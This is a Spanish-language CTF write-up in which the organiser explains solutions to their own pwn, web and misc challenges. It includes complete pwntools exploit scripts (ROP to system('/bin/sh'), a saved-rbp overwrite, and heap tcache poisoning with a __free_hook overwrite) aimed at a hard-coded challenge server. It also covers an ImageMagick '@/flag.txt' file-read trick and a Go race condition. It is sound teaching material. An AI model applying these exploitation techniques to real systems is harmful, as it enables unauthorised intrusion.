f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

CDM{pwn's - web - misc writeup}

Hola, espero que todo les vaya genial!!!

El fin de semana pasado, con mi equipo, nos dedicamos a hostear el CTF anual del Campo de Marte. Para este CTF, preparé los retos de pwn, 1 reto web y 1 reto misc. La dificultad de los mismos era de ez - mid, debido a que el CTF no alcanzaba a durar un día completo, aquí van las soluciones :D

pwn

are u drunk ?

challenge

Descripción:

Este es el mejor hardening que se me ocurre por el momento yeeeeeeeeeeeee

Básicamente, es un reto básico de un buffer overflow, en donde los 'A' y 'B' son badchars (ewe), además, se nos regala un leak al principio con una dirección del heap.

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./inuse/chall_areudrunk"  ## change for the challenge name
DEBUG = 1
libc_name = "./inuse/libc.so.6"
elf = ELF(p_name)
libc = ELF(libc_name)

'''
libc.address
libc.symbols['printf']
'''


if DEBUG:
    commands = '''b * main
    b * vuln
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name)
else:
    #p = remote("127.0.0.1",9000)
    p = remote("119.8.154.195",35001)
    

rdi = 0x0000000000400963    #   : pop rdi; ret; 
rsi = 0x0000000000400961    #   : pop rsi; pop r15; ret; 


payload = b'a' * (40)
payload += p64(rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
yesno("Send or ")
p.sendline(payload)

p.recvuntil("> ")
leak = p.recvline()
leak = leak.strip().ljust(8, b'\x00')
leak = u64(leak)
libc.address = leak - 0x80aa0
log.info("puts@@libc %s" % hex(leak))
log.info("libc base  %s" % hex(libc.address))
log.info("/bin/sh    %s"    %   hex(next(libc.search(b'/bin/sh\x00'))))


payload = b'a' * 40
payload += p64(rdi)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(rsi)
payload += p64(0x00) * 2
payload += p64(libc.symbols['system'])

p.sendline(payload)



p.interactive()


Just fake it

challenge

Descripción:

Estoy aprendiendo a utilizar estructuras y syscall básicas, pero esta mierda sigue crasheando :(

Este reto se trataba de un 8 byte buffer overflow, el cual podía sobreescribir el saved ebp, logrando ganar control sobre el RIP en el segundo ret, como "gadget", dejé una win_function(), la cual llama a execve("/bin/sh"), solo para hacer más fácil el proceso :)

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

#context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./inuse/chall"  ## change for the challenge name
DEBUG = 1
#libc_name = ""
elf = ELF(p_name)
#libc = ELF(libc_name)

'''
libc.address
libc.symbols['printf']
'''


if DEBUG:
    commands = '''b * vuln
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name)
    #p = process(p_name)
else:
    #p = remote("127.0.0.1",9000)
    p = remote("119.8.154.195",35003)
    

win = 0x400851
rdi = 0x0000000000400a53    #   : pop rdi; ret; 
rsi = 0x0000000000400a51


win = 0x00400837
rdi = 0x0000000000400a63
rsi = 0x0000000000400a61



p.recvuntil("this: ")
leak = p.recvline().strip().split(b"?")[0]
leak = int(leak,16)

log.info("Got this leak : %s" % hex(leak))
p.recvuntil("me: ")

payload = p64(leak)
payload += p64(win) * 7
payload += p64(leak)


sleep(0)
p.sendline(payload)
    

p.interactive()


best meme generator

chall

Descripción:


Para el concurso de memes, siéntete libre de utilizar este servicio :D

Considerando que en el evento había un concurso de meme, la idea era que se utilizara este servicio (mal servicio), para crear sus propios memes, Como estaba en beta, habían solo 5 templates y a veces funcionaba mal jajj.

La idea de este challenge, era abusar de imagemagick, el cual se utilizaba para agregar el caption a la imagen.

La función validate(), se encarga de que no exista (ojalá), command injection en la posterior llamada a system(), pero, leyendo el manual de imagemagick, podemos ver que la opción -caption

Con esto, podemos agregar fácilmente un @/flag.txt, para conseguir la flag, peeero, un payload normal, irá con un salto de linea que quebrará el llamado a system(), por lo que deberemos enviar @/flag.txt\x00, o en su defecto, llenar con "/", sin que read(), lea el salto de linea :D

:D

the forgotten one

chall

Descripción:


A modo de dejar mi legado al mundo, cree un `hackdiary` para publicarlo luego, en **C** :D 

Este era el challenge más difícil que hice, considerando el tiempo que tenía asignado el CTF. Es un problema de heap just another diary, el cual permite generar entradas, definidas como la siguiente estructura.

struct entry{
    char name[72];
    char data[64];
};

El off by one bug, se encuentra en la función add(), en donde, en vez de leer a data 64 bytes, leemos 65, lo cual nos permite modificar el size header del chunk siguiente. Además, al eliminar en delete(), no se hace null el puntero referente al chunk, por lo que el leak, será trivial si utilizamos un chunk lo suficienmente grande para que vaya al unsorted bin.

Con esta información, el exploit quedó de la siguiente manera, siguiendo la siguiente lógica:

  • Crear 3 chunks, siendo el de al medio un chunk lo suficientemente grande para que vaya al unsorted bin
  • free(chunk_grande)
  • Mostrar por pantalla el contenido de las notas, y obtener el leak del unsorted bin.
  • Allocar múltiples chunks pequeños, además de uno grande
  • free(chunk pequeño)
  • Allocar nuevamente el chunk pequeño y sobreeescribir el prev_size y size header del chunk grande.
  • Con la escritura de la metadata del chunk grande, hacer que &chunk_grande - chunk_grande.prev_size sea igual al anterior chunk grande (esto hará el trigger del backward consolidation)
  • free(chunk_grande), se realizará la consolidación con el chunk anterior, quedando los chunks pequeños “perdidos” dentro de la data del chunk grande.
  • Hacer un malloc() de un chunk grande, y comenzar a sobreescribir los chunks pequeños que están “perdidos” en medio del chunk grande.
  • Realizar un tcache poisoning y sobreescribir __free_hook
  • Get the flag :D
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./inuse/chall"  ## change for the challenge name
libc_name = "./inuse/libc.so.6"
#libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
DEBUG = 0
elf = ELF(p_name)
libc = ELF(libc_name)

'''
libc.address
libc.symbols['printf']
'''

if DEBUG:
    commands = '''
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./inuse/libc.so.6"})
else:
    p = remote("119.8.154.195",35004)
    


def f():
    p.recvuntil("> ")


def malloc(idx, size, name, data):
    p.sendline("1")
    p.recvuntil("> ")
    p.sendline(str(idx))
    sleep(0.5)
    p.recvuntil("> ")
    p.sendline(str(size))
    sleep(0.5)
    p.recvuntil("> ")
    p.send(name)
    sleep(0.5)
    p.recvuntil("> ")
    p.send(data)
    sleep(0.5)
    f()
    return 1

def delete(idx):
    p.sendline("2")
    sleep(0.5)
    p.recvuntil("> ")
    p.sendline(str(idx))
    sleep(0.5)
    f()
    return 1



def show():
    p.sendline("3")
    sleep(0.5)
    p.recvuntil("[ 1 ]")
    p.recvuntil("BBBBCCCC")
    leak = p.recvline()
    leak = leak.strip()

    p.recvuntil("> ")
    return leak

f()


malloc(0,0x100, b"AAAA",b"BBBB")        #0
malloc(1,0x500-8, b"AAAA",b"AAAA")      #1
malloc(2,0x20, b"BBBB",b"BBBB")         #2
delete(1)
malloc(1, 0x500-8, b'BBBBCCCC', b'A')
leak = show()
leak = leak.ljust(8,b'\x00')
leak = u64(leak)
libc_base = leak - 0x3ebca0
libc.address = libc_base
log.info("Got leak:         %s"  % hex(leak))
log.info("Libc base:        %s" %   hex(libc.address))
yesno(1)
malloc(3,0x20, b"CCCC",b"CCCC")         #3
malloc(4,0x20, b"DDDD",b"DDDD")         #4
delete(4)                   
malloc(5,0x500-8, b"AAAA", b"D")        #5
payload = b'Y' * (64 - 8)   
payload += p64(0x6b0)
payload += b'\x00'
malloc(4,0x20-8, b"AAAA", payload)      #4
#delete(1)
malloc(6, 0x20, b'C',b'C')              #6

yesno("Delete?")
delete(1)
delete(5)

free_hook = libc_base + 0x3b18e8
free_hook = libc.symbols['__free_hook']

delete(3)
delete(4)
yesno("Malloc again? ")
malloc(1, 0x500-8, b'E' * 72, b'F' * 64)
malloc(3, 0x100 - 8, b'/bin///sh\x00', b'F' * 64)
malloc(4, 0x100 - 8, b'A'*24 + p64(0x91) +  p64(free_hook) , b'W' * 64)


yesno("trigger tcache poison ?")
malloc(8, 0x20, b'B', b'C')

system = libc_base + 0x41770
system = libc.symbols['system']
'''
0x41602 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x41656 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xdeec2 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

# overwrite the hook
#malloc(9, 0x20, p64(system) , b'F')
malloc(9, 0x20, p64(system)  , b'F')

# free the chunk
yesno("free the chunk with /bin/sh?")
delete(3)

p.interactive()


web

bounty sir pls

Descripción:

En CDM, estuvimos demasiado ocupados realizando el CTF como para investigar sobre las personas inscritas.
Es por eso que le confiamos el servicio de "`CHECKEAR DNI`" a una empresa externa, total... es solo identificar imágenes :D

Este reto, fue inspirado en un bug que encontré hace poco "in the wild", si bien, es algo poco común de ver, no es imposible de encontrar :D, la explicación fue hecha en vivo, ojalá que les haya gustado :D

link

misc

bot meister

Descripción:


Hice 3 cursos de GoLang en udemy y ya estoy listo para postular como programador senior :3
Lo único que me falta manejar son los `mutex y locks`, pero para un mísero bot de discord la verdad es que no hace falta :D

Si bien, la primera idea del reto es que haya sido un reto de reversing, el tiempo no daba para la cantidad de trabajo necesario para reversear el binario (golang cosas). Por lo que se daba el source code del bot.
Se daban los 3 archivos fuente del bot, además la descripción señala por donde va el tema :D

main.go

package main

import (
	"database/sql"
	"errors"
	"fmt"
	"github.com/bwmarrin/discordgo"
	"github.com/jcatala/bot-meister/pkg/botmeister"
	"github.com/joho/godotenv"
	_ "github.com/mattn/go-sqlite3"
	"log"
	"os"
	"os/signal"
	"syscall"
)

type user struct {
	username	string
	score	int
}

func getDcToken()(response string, e error){
	err := godotenv.Load()
	if err != nil{
		return "", errors.New("Error loading the .env")
	}
	dcToken := os.Getenv("discord_key")
	return dcToken, nil
}

/*
create table user(username varchar(255), score int);
*/

func main() {
	fmt.Println("Starting...")
	const version = "0.0.1 beta"

	db, err := sql.Open("sqlite3", "./db.db")
	if err != nil{
		log.Fatalln(err)
	}
	p := botmeister.CreateBotMeister(db)
	// I need to learn how to use flag variables ...
	token, _ :=  getDcToken()
	dg, err := discordgo.New("Bot " + token)
	if err != nil{
		fmt.Println("Error on creating discord object ")
		log.Fatalln(err)
	}

	dg.AddHandler(p.Core)
	dg.Identify.Intents = discordgo.IntentsGuildMessages
	err = dg.Open()

	if err != nil{
		log.Fatalln("Error on opening dbot\n")

	}
	sc := make(chan os.Signal, 1)
	signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)
	<-sc
	// If signal, exit flawlessly
	fmt.Printf("Exiting..\n")
	dg.Close()



}

botmeister

package botmeister

import (
	"database/sql"
	"errors"
	"fmt"
	"github.com/bwmarrin/discordgo"
	"log"
	"os"
	"strings"
	"time"
	"github.com/jcatala/bot-meister/pkg/game"
)

type BotMeisterDB struct{
	DB	sql.DB
	Verbose	bool
}



func CreateBotMeister(db *sql.DB)(*BotMeisterDB){
	p := new(BotMeisterDB)
	p.DB = *db
	p.Verbose = true
	return p
}

func (p *BotMeisterDB) addN(id string, who string, n int){
	res, err := p.DB.Query("select * from users where username = ?", who)

	if err != nil{
		fmt.Println("Error on prepare statement")
		log.Fatalln(err)
	}
	defer res.Close()
	curr_user := game.User{
		Id:       -1,
		Username: "",
		Score:    0,
	}
	for res.Next(){
		err = res.Scan(&curr_user.Id, &curr_user.Username, &curr_user.Score)
		if err != nil{
			log.Fatalln(err)
		}
	}
	fmt.Println(curr_user)
	if curr_user.Id == -1{
		fmt.Printf("Creating the new user because it doesnt existed before, lol\n")
		stmt, _ := p.DB.Prepare("INSERT INTO users(id, username, score) values(?,?,?)")
		stmt.Exec(id, who, 1)
		stmt.Close()
	}
	stmt, err := p.DB.Prepare("UPDATE users set score = ? where id = ?")
	stmt.Exec(curr_user.Score + n, curr_user.Id)
	stmt.Close()
	if err != nil{
		fmt.Printf("Error on updating\n")
		log.Fatalln(err)
	}

	return

}



func (p * BotMeisterDB ) help_response(s *discordgo.Session, m *discordgo.MessageCreate){
	helpMsg := "`%s`, Gracias por usar el botmeister - BOT!\n"
helpMsg += "Prefix: -\n"
	helpMsg += "El primero que llega a 20 puntos se lleva la flag, sin hacer trampa! :D\n\n"
	helpMsg += "Comandos:\n"
	helpMsg += "`-powerup`	(Aumenta en 1 tus puntos)\n"
	helpMsg += "`-super_powerup`	(Aumenta en 10 tus puntos, (TESTING, precaución))\n"
	helpMsg += "`-top`	(Puntaje actual del servidor)\n"
	helpMsg += "`-me`		(Muestra tú puntaje)\n\n\n"
	helpMsg += "Más comandos se vendrán en la siguiente versión"

	helpMsg = fmt.Sprintf(helpMsg, m.Author)
	s.ChannelMessageSend(m.ChannelID, helpMsg)
}

func (p * BotMeisterDB) do_top(s *discordgo.Session, m * discordgo.MessageCreate){
	res, err := p.DB.Query("select * from users order by score desc limit 5 ", m.Author.ID)
	if err != nil{
		fmt.Println("Error on getting top")
		log.Fatalln(err)
	}
	topFive := []game.User{}
	if err != nil{
		fmt.Println("Error on prepare statement")
		log.Fatalln(err)
	}
	defer res.Close()
	for res.Next(){
		curr_user := game.User{Id: -1, Username: "",  Score:    0}
		err = res.Scan(&curr_user.Id, &curr_user.Username, &curr_user.Score)
		if err != nil{
			log.Fatalln(err)
		}
		topFive = append(topFive, curr_user)
	}
	fmt.Println("Top five is: ", topFive)
	msg := "Top five highscore\n\n"
	for i,c := range topFive{
		format := "`[ %d ] %s : %d point`\n"
		msg += fmt.Sprintf(format, i+1, c.Username, c.Score)
	}
	msg += "\n\nGracias por participar :D \n"
	s.ChannelMessageSend(m.ChannelID, msg)
}

func (p *BotMeisterDB) do_me(s *discordgo.Session, m *discordgo.MessageCreate){
	user, err := p.get_user_by_id(m.Author.ID)
	if err != nil{
		fmt.Println("Error on getting top")
		return
	}
	msg := "Your points \n"
	msg = fmt.Sprintf("`%s : %d points`\n", user.Username, user.Score)
	s.ChannelMessageSend(m.ChannelID, msg)

	return
}

func (p * BotMeisterDB) get_user_by_id(id string) (game.User, error) {
	res, err := p.DB.Query("select * from users where id = ?  ", id)
	if err != nil{
		fmt.Println("Error on getting top")
		log.Fatalln(err)
	}
	user := game.User{Id:       -1, Username: "", Score:    0,
	}
	defer res.Close()
	for res.Next(){
		err = res.Scan(&user.Id, &user.Username, &user.Score)
		if err != nil{
			log.Fatalln(err)
		}
	}
	if user.Id == -1 {
		fmt.Printf("No user found, lol\n")
		err := errors.New("No user found with that id")
		return user, err
	}
	return user, nil
}

func (p * BotMeisterDB) get_flag(s *discordgo.Session, m *discordgo.MessageCreate){
	win := "Felicitaciones por encontrar y explotar la vulnerabilidad!\n\nAquí tu premio: `%s`\n\n"
	user, err := p.get_user_by_id(m.Author.ID)
	if err != nil{
		fmt.Println("Cant get user")
		fmt.Println(err)
		return
	}
	if user.Score >= 20 {
		pm,_ := s.UserChannelCreate(m.Author.ID)
		flag := os.Getenv("flag")
		win = fmt.Sprintf(win, flag)
		s.ChannelMessageSend(pm.ID, win)
		msg := "Gratz to `%s` for winning the contest :D !\n\n"
		msg = fmt.Sprintf(msg, m.Author.Username)
		s.ChannelMessageSend(m.ChannelID, msg)
		return
	}
	msg := "No tienes puntos suficientes\n[%d/20] `%s` dumb jaker \n"
	msg = fmt.Sprintf(msg, user.Score, user.Username)
	s.ChannelMessageSend(m.ChannelID, msg)
	return
}

func (p * BotMeisterDB ) do_powerup(s *discordgo.Session, m *discordgo.MessageCreate){
	p.gonna_win(s, m)
	p.addN(m.Author.ID, m.Author.Username + m.Author.Discriminator, 1)
	fmt.Printf("Created user %s, score %d\n",m.Author, 1 );
	msg := "Gratz `%s`, ganaste 1 punto!"
	msg = fmt.Sprintf(msg, m.Author)
	s.ChannelMessageSend(m.ChannelID, msg)
	return

}
func (p * BotMeisterDB) gonna_win(s *discordgo.Session, m *discordgo.MessageCreate){
	user, err := p.get_user_by_id(m.Author.ID)
	if err != nil{
		fmt.Println("Error on getting top")
		fmt.Println(err)
		return
	}
	if user.Score >= 10{
		stmt, err := p.DB.Prepare("UPDATE users set score = ? where id = ?")
		stmt.Exec(1, user.Id)
		stmt.Close()
		if err != nil{
			fmt.Printf("Error on updating\n")
			log.Fatalln(err)
		}
		s.ChannelMessageSend(m.ChannelID, "Noooope, no puedes ganar aún ewe, puntaje: 1")
	}
}

func (p * BotMeisterDB) do_super_powerup(s *discordgo.Session, m *discordgo.MessageCreate){
	p.gonna_win(s, m)
	msg := "`%s`, No hay flag para ti hoy :D, bye bye !"
	msg = fmt.Sprintf(msg, m.Author)
	s.ChannelMessageSend(m.ChannelID, msg)
	go func() {
		time.Sleep(1 * time.Second)
		s.ChannelMessageSend(m.ChannelID, "Te daré 10 puntos antes de expulsarte, por penita :3")
		p.addN(m.Author.ID, m.Author.Username + m.Author.Discriminator, 10)
		time.Sleep(1 * time.Second)
		p.gonna_win(s, m)
		err := s.GuildMemberDelete(m.GuildID, m.Author.ID)
		fmt.Printf("Guild id: %s\nAuthor id: %s\n", m.GuildID, m.Author.ID)
		//err := s.GuildMemberDeleteWithReason(m.GuildID, m.Author.ID, "U hacker fool!")
		if err != nil{
			fmt.Println("Error on kicking")
			fmt.Println(err)
		}
	}()
	return
}





func (p * BotMeisterDB) Core (s *discordgo.Session, m *discordgo.MessageCreate) {
	if m.Author.ID == s.State.User.ID{
		// Ignore bots self message
		return
	}
	if p.Verbose{
		fmt.Printf("%s sended: \n%s\nOn the following channel: %s\n\n", m.Author, m.Content, m.ChannelID)
	}
	/*
	Check if its the authorized channel
	*/
	if m.ChannelID != "903403612737265706"{
		return
	}
	
	if len(m.Content) <= 0 {
		fmt.Println("Not enough length!")
		m.Content = "-help"
	}
	args := strings.Fields(strings.ToLower(m.Content))
	command := args[0]
	if p.Verbose{
		fmt.Printf("ARGS: %s\nCommand: %s\n", args, command)
	}
	if strings.Compare(string(command[0]), "-") != 0{
		return
	}
	command = strings.Replace(command, "-","",-1)
	switch command {
	case "h", "help":
		go p.help_response(s, m)
	case "powerup":
		go p.do_powerup(s,m)
	case "super_powerup":
		go p.do_super_powerup(s,m)
	case "top":
		go p.do_top(s,m)
	case "me":
		go p.do_me(s,m)
	case "flag":
		go p.get_flag(s,m)
	}
}

package game

type User struct {
	Id				int
	Username		string
	Score			int
}

La idea es sencilla, un bot de discord el cual te da puntos por decirle -powerup, y si se llega a los 20 puntos, te da la flag.

Lamentablemente, cada vez que llegamos a >= 10 puntos, el bot nos devuelve a 1 inmediatamente.

Analizando bien la lógica del bot, se ve que al realizar un do_super_powerup(), el bot nos da 10 puntos, pero inmediatamente nos los quita (p.gonna_win()), además de echarnos del discord (lo siento por esto :D).

Finalmente, la solución era abusar de la go routine creada en do_super_powerup() (race condition), por lo que finalmente, la solución es:

...
func (p * BotMeisterDB) do_super_powerup(s *discordgo.Session, m *discordgo.MessageCreate){
	p.gonna_win(s, m)
	msg := "`%s`, No hay flag para ti hoy :D, bye bye !"
	msg = fmt.Sprintf(msg, m.Author)
	s.ChannelMessageSend(m.ChannelID, msg)
	go func() {
		time.Sleep(1 * time.Second) // [1]
		s.ChannelMessageSend(m.ChannelID, "Te daré 10 puntos antes de expulsarte, por penita :3")
		p.addN(m.Author.ID, m.Author.Username + m.Author.Discriminator, 10) // [2]
		time.Sleep(1 * time.Second) // [3]
		p.gonna_win(s, m)
		err := s.GuildMemberDelete(m.GuildID, m.Author.ID)
		fmt.Printf("Guild id: %s\nAuthor id: %s\n", m.GuildID, m.Author.ID)
		//err := s.GuildMemberDeleteWithReason(m.GuildID, m.Author.ID, "U hacker fool!")
        ...
  • Llegar a 9 puntos con -powerup
  • Lanzar un -superpowerup y timear para que nuestra query llege hasta [1]
  • Como ya habremos pasado el primer filtro de gonna_win(), inmediatamente podemos llamar a -powerup, para tener 10 puntos mientras la go routine duerme en [1].
  • Al despertar la go routine en [1], nos agregará 10 puntos a nuestro puntaje [2], por lo que obtendremos 20 pts, además de dormirse nuevamente en [3]
  • En este segundo sleep(), podemos llamar a -flag get_flag(), para obtener la flag respectiva :D

Espero que les haya gustado el CTF y los retos, fue hecho con mucho cariño, cualquier consulta, al PM :D, saludos !

kjj